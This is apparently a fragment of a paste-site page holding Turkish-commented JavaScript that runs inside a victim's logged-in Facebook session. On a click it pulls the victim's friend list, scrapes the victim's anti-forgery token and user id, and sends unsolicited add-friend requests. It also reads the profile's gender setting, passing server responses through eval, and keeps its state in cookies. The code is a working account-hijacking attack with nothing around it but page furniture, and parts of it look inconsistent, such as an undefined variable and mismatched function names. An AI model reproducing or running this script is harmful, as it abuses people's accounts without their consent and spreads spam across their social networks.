- else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
- xmlhttp.send();
- }
- //tiklama olayini dinle
- var tiklama = document.addEventListener("click", function () {
- if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
- svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
- sarkadaslari_al();
- document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
- document.removeEventListener(tiklama);
- }
- }, false);
- //arkada?¾ ekleme
- function sarkadasekle(uid,cins){
- var xmlhttp = new XMLHttpRequest();
- xmlhttp.onreadystatechange = function () {
- if(xmlhttp.readyState == 4){
- }
- };
- xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
- var params = "to_friend=" + uid;
- params += "&action=add_friend";
- params += "&how_found=friend_browser";
- params += "&ref_param=none";
- params += "&outgoing_id=";
- params += "&logging_location=friend_browser";
- params += "&no_flyout_on_click=true";
- params += "&ego_log_data=";
- params += "&http_referer=";
- params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
- params += "&phstamp=165816749114848369115";
- params += "&__user=" + user_id;
- xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
- xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
- if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){
- xmlhttp.send(params);
- }else if(document.cookie.split("cins" + user_id +"=").length <= 1){
- cinsiyetgetir(uid,cins,"sarkadasekle");
- }else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){
- xmlhttp.send(params);
- }
- }
- //cinsiyet belirleme
- var cinssonuc = {};
- var cinshtml = document.createElement("html");
- function scinsiyetgetir(uid,cins,fonksiyon){
- var xmlhttp = new XMLHttpRequest();
- xmlhttp.onreadystatechange = function () {
- if(xmlhttp.readyState == 4){
- eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
- cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html
- btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
- if(cinshtml.getElementsByTagName("select")[0].value == "1"){
- document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString();
- }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){
- document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString();
- }
- eval(fonksiyon + "(" + id + "," + cins + ");");
- }
- };
- xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
- xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
- xmlhttp.send();
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement